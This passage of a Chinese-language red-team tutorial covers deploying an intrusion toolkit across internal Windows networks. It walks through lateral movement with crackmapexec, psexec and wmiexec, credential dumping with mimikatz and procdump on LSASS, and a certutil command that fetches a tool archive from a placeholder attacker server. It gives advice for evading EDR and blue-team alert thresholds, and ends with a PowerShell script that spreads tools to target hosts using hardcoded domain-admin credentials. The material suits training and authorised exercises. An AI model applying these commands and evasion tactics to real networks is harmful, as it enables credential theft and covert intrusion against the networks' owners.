whoami-x参数是在目标系统上执行命令。如果权限到位你会看到每台目标机的whoami输出。这个阶段需要控制节奏不要一口气批量在50台机器上执行命令蓝队的告警阈值往往设置在一段时间内来自同源IP的异常登录次数超过N次就会触发。我一般习惯分两批执行每批控制在10台以内中间间隔几分钟。这不只是玄学而是给日志留出“被淹没”的窗口。3.4 边路绕过为什么有时要先把zip里的工具传到目标机器上再执行很多刚从外网打进来的新手会默认工具在自己机器上执行远程命令时调用本机工具就行。但在真实内网环境里从你的操作机直接到目标机器的SMB、WMI、PsExec流量经常会被防火墙或安全设备拦截尤其是跨网段横向移动时攻击机IP往往不在目标网段的ACL放行范围里。这时候常见做法是“跳板执行”先把工具包里的静态编译版本传到目标机器上在目标机器本地执行。比如你已经通过wmiexec在一台机器上拿到了shell就可以把整个zip传到那台机器上再以它为跳板继续往下一层渗透。传输可以用smbclient、certutil或者直接FTP但要注意大文件传输在内网环境下不算隐蔽操作建议先传一个精简版只带mimikatz和psexec两个工具而不要每次传整个100MB的工具包。我在实际操作中会传一个“精简压缩包”里面只放当前阶段需要的工具cd /tmp tar czf mini_tools.tar.gz mimikatz.exe psexec.exe procdump.exe certutil -urlcache -split -f http://你的临时服务器/mini_tools.tar.gz C:\Windows\Temp\mini_tools.tar.gz这是一种常见的临时文件传输方式。逻辑是用certutil从HTTP服务器下载文件到目标机器好处是Windows自带不需要额外安装任何客户端。但要注意现代EDR对certutil下载文件的监控已经很成熟了连续多台机器用同一条命令必然触发告警。更稳妥的方式是换不同机器用不同下载命令或者把文件拆成小份分段拉取。4. 内网渗透工具包的五个高频踩坑点哈希校验、杀软误报、参数失效和流量特征4.1 杀软把你精心准备的工具包当病毒清掉了先做白名单例外再分发现象解压“内网渗透必备工具.zip”后文件夹里只剩几个无关轻量级的exemimikatz、psexec等核心工具不见了杀毒软件弹出“已检测到威胁”的提示。这几乎是每个初用工具包的人都会遇到的翻车现场。原因安全工具本身就是黑客工具杀软查杀是它们的本职工作。尤其mimikatz这种特征极其明显的程序基本上所有主流杀软都会秒删。这不是工具包有问题而是你分发时没有考虑目标机器的安全软件策略。解决在攻防演练的前期准备阶段就把工具包所在目录加入杀软白名单或者至少在专用虚拟机上关闭实时防护后再解压。如果目标环境已有EDR且无法控制就要避免把原始工具包传到目标机器上改为传一些改名的、加壳的、或者用自己编译的版本替代。还有一个比较笨但有效的办法把工具包用带密码的zip压缩存放用到哪个解压哪个避免一次性暴露所有工具。4.2 mimikatz 执行没反应不是工具不行而是权限不够现象运行mimikatz.exe privilege::debug返回ERROR kuhl_m_privilege_control; RtlAdjustPrivilege (20) - 0x80052205。原因当前进程没有以管理员权限运行无法开启调试特权。这看起来是个很简单的问题但在真实渗透里很容易翻车——你用wmiexec获得的shell往往是SYSTEM权限或管理员权限而用普通的cmd窗口打开mimikatz则只是当前登录用户的权限两者差别巨大。解决把mimikatz放到目标机器上后先用whoami /priv确认当前权限如果不够先提权到管理员或SYSTEM再执行。在本地测试时则要右键“以管理员身份运行”。另外还有一种常见情况是Windows的Credential Guard拦截了sekurlsa::logonpasswords这种情况下mimikatz会报LSA Protection相关错误可以考虑直接procdump.exe -ma lsass.exe把LSASS进程内存dump下来再到本地机器上离线解析。4.3 横向渗透工具执行后返回0但目标没有任何反应检查防火墙和SMB签名现象crackmapexec显示某台机器账号登录成功但执行-x whoami时卡住或半天没有输出psexec提示连接成功但命令没结果。原因最常见的是目标Windows防火墙默认屏蔽了ADMIN$共享的访问其次是目标开启了SMB签名要求psexec这种老牌工具在SMB签名协商上兼容性并不好另外某些安全设备会阻断SMB远程创建服务的流量导致psexec建立服务成功但后续通道被掐断。解决优先排除网络连通性用Test-NetConnection 目标IP -Port 445确认SMB端口是否可通然后换用wmiexec或WinRM方式执行它们走135或5985端口防火墙策略可能不一样。psexec连接成功但没有回显时可以先用-s参数指定以SYSTEM权限运行排除权限引起的回显异常。4.4 工具包里的脚本没考虑到目标机器的系统版本老工具跑新系统很容易失效现象在Windows Server 2019或Windows 11上运行早期的提权脚本报错缺dll或直接无法启动。原因很多内网渗透工具是很多年前编译的依赖旧版Visual C运行库新系统没有这些运行库另一方面新版本Windows默认启用了更强的缓解措施旧版提权exp往往因为地址布局随机化ASLR或数据执行保护DEP直接崩溃。解决工具包最好按“Windows Server 2008/2012”、“Windows Server 2016”、“Windows 10/11”分类维护不能用一套工具通吃所有版本。在实战中拿不准时先用systeminfo查看系统版本和补丁号再到工具包里挑对应版本的利用程序。不要拿到什么工具都往上扔那是对目标环境的不负责任也是对自己时间的不尊重。4.5 蓝队不是瞎的工具包本身也在制造大量告警流量现象一场演练下来蓝队给出溯源报告里面直接列出了“攻击者使用了内网渗透必备工具.zip中的psexec.exe和mimikatz.exe”甚至标注了精确到秒的利用时间。原因工具包虽然绿色免安装但它在目标机器上的行为特征极度明显。psexec会在Windows里创建服务服务名还很有规律mimikatz访问LSASS进程EDR直接就标记高可疑用crackmapexec做密码喷洒几百条登录失败日志同时在多台机器出现。工具包能绕过的只是“安装”这个门槛绕不过行为检测。解决在实际项目中把工具包当成参考手册而不是必胜法宝。如果不是真正必要的场景优先选择目标系统原生自带的功能比如PowerShell、WMIC、schtasks来完成操作工具包只是在效率上做增强。我的习惯是能用PowerShell一条命令搞定的绝不额外上传工具一定要上传工具时用改名压缩加密组合来降低静态检测风险。这条习惯在蓝队日益成熟的今天越来越不是选项而是必须。5. 镜像站里下载的zip和真实攻防里的zip如何辨别工具包的可靠性与时效性5.1 别拿到什么就用什么先检查编译时间和哈希是否匹配网上流传的“内网渗透必备工具.zip”版本很多实际上谁都说不清哪个是最权威的版本因为工具包本质上是个人维护的没有官方发布渠道。所以判断一个工具包是否可靠第一原则是先看工具包内每个exe的编译时间。打开文件属性查看“产品版本”和“原始文件名”如果某个工具是2012年编译的大概率对Windows 10/11环境效果非常有限。其次是对照官方GitHub发布的Release哈希。比如crackmapexec的新版本NetExec在GitHub上会发布源码包和Windows可执行文件你可以用官方哈希校验下载的exe是否被篡改。这在工具包被多次转手的场景下尤其重要——你没法保证某个中间人没有在zip里塞进自己的后门。我见过一个经典翻车案例某位安全工程师从“内部群”拿到一个声称是最新版的mimikatz结果一运行自己机器先弹了个反向Shell回来。这种“工具包投毒”在安全圈不算罕见甚至可以说这是攻击队喜欢使用的一种反制手段。所以每次拿到新工具包第一件事是验哈希第二件事是放虚拟机里跑一遍看流量特征而不是直接上真实目标。5.2 工具包的“版本漂移”问题zip内部文件总是老得更快有很多工具包在刚整理出来时是好用的但过了一年就渐渐不灵了。原因是内网渗透的工具更新周期很快尤其提权exp和凭据抓取工具需要跟随操作系统补丁变化不断适配。现在很多团队已经在用工具包的持续集成方式维护一个Git仓库每次更新时自动构建Windows版本然后用7-Zip打成zip发布。如果你要自己维护一个长期使用的工具包我建议按这个思路来做工具包目录/ ├── README.md ├── build.ps1 ├── bin/ # 存放从GitHub Release下载的原始exe └── tools/ # 按用途分类的目录构建脚本自动更新写一个简单的PowerShell构建脚本每次拉取最新工具后更新解压目录。这样能确保zip里不是一堆“上古遗物”。虽然听起来麻烦但在关键项目里正是一个新版本的提权exp让你从困境中走出来而老版本只能让你对着目标系统干瞪眼。工具包不是收藏品而是消耗品用这个心态去维护它才对。5.3 拿到工具包后要不要加密压缩关于zip密码和免杀的一点思考很多流传的zip下载链接都带密码这有两种可能一种是作者不希望工具被搜索引擎直接抓取内容给压缩包加个密码减少被滥用另一种是压缩包内确实含有不便于公开免杀处理的特殊组件。但站在使用者角度加密zip完全不影响使用——你只要知道密码就行。不过有一件事新手很容易误解zip加密不等于免杀。杀软查杀的是解压后的exe文件内容zip解压到内存里的瞬间就被监控了。所以如果你把“内网渗透必备工具.zip”解压后直接复制到目标机器杀软一样会秒删。真正需要的免杀处理是另一个领域的事通常意味着对二进制做混淆、加壳、或者改成自写Loader这已经超出了“zip工具包”的范畴。6. 自动化部署内网工具包到多台机器用PowerShell构建一个临时“工具分发器”到了这个阶段你已经知道了工具包里的东西怎么用、坑在哪、如何辨别可靠性。最后一个值得做的进阶动作是把工具包分发的动作自动化。在做横向移动时手动一台台传文件效率极低不如写一个PowerShell脚本把zip解压到每台目标机器的指定目录并在解压后自动执行基础信息收集命令把结果回传到指定位置。这里给出一个我在内网演练中常用的自动化分发脚本框架使用PowerShell编写$targets (192.168.10.15, 192.168.10.23, 192.168.10.31) $username corp\admin01 $password ConvertTo-SecureString Pssw0rd -AsPlainText -Force $cred New-Object System.Management.Automation.PSCredential($username, $password) $remotePath C:\Windows\Temp\tools.zip $localZip C:\tools\tools.zip $extractDir C:\Windows\Temp\internal_tools foreach ($target in $targets) { Write-Host [*] 正在处理 $target New-SmbMapping -RemotePath \\$target\C$ -Credential $cred Copy-Item $localZip -Destination \\$target\C$\Windows\Temp\tools.zip -Force Invoke-Command -ComputerName $target -Credential $cred -ScriptBlock { param($zip, $dest) if (-not (Test-Path $dest)) { New-Item -ItemType Directory -Path $dest -Force | Out-Null } Expand-Archive -Path $zip -DestinationPath $dest -Force } -ArgumentList $remotePath, $extractDir Remove-SmbMapping -RemotePath \\$target\C$ -Force }这段脚本的核心逻辑是先建立到目标C$共享的映射复制zip过去再通过WinRM远程执行解压。参数说明$targets是目标IP列表$cred是域管理员凭据$remotePath是目标机器上zip的落地路径$extractDir是解压后的目录。New-SmbMapping和Remove-SmbMapping是建立与断开SMB映射Invoke-Command走的是WinRM协议5985端口。使用时有三个注意点第一这个脚本是明文密码写死在代码里的所以只适合临时使用用完立刻清理。更安全的做法是改为在脚本执行时用Get-Credential交互输入或从受保护的文件里读取加密凭据。第二WinRM服务不是每台Windows机器都默认开启的。如果Invoke-Command报错“无法连接到远程服务器”可以先在目标机器上开启WinRM服务。但要注意在你已经拿到管理员权限的前提下用sc \\目标IP config WinRM start auto远程开启也是可行的。第三Expand-Archive在目标机器上解压时如果zip里的可执行文件被杀软监控可能在解压完成前就被删除。所以脚本里应该加上一个解压完成后的校验步骤比如检查关键工具的哈希或文件是否存在。写完脚本后我再强调一下验证的重要性。拿到一个新维护的工具包不要直接全量分发到多台机器上做横向移动。哪怕是同一段网段里每台机器的系统版本、补丁情况、安全软件策略都可能有差异工具在不同机器上的表现也可能完全不同。正确做法是先挑一台不影响业务系统的测试机跑一遍完整的“解压—校验—执行—清理”流程确认没有问题后再批量分发。这个过程不复杂但能帮你避免在关键时刻才发现工具被删、脚本报错、执行结果为空等一系列问题。最后说一个我自己的习惯工具包的使用记录一定要留档包括哪天、在哪台机器上、用了哪个工具、执行了什么命令。不只是为了复盘更是为了在出问题时能快速定位是不是自己操作导致的——这个习惯在红队和蓝队工作里都是通用的。希望这篇笔记能帮你在拿到“内网渗透必备工具.zip”时少走一些弯路也希望你维护工具包时能用更工程化的方式对待它而不是把它当成一个黑匣子般的神秘压缩包。本文还有配套的精品资源点击获取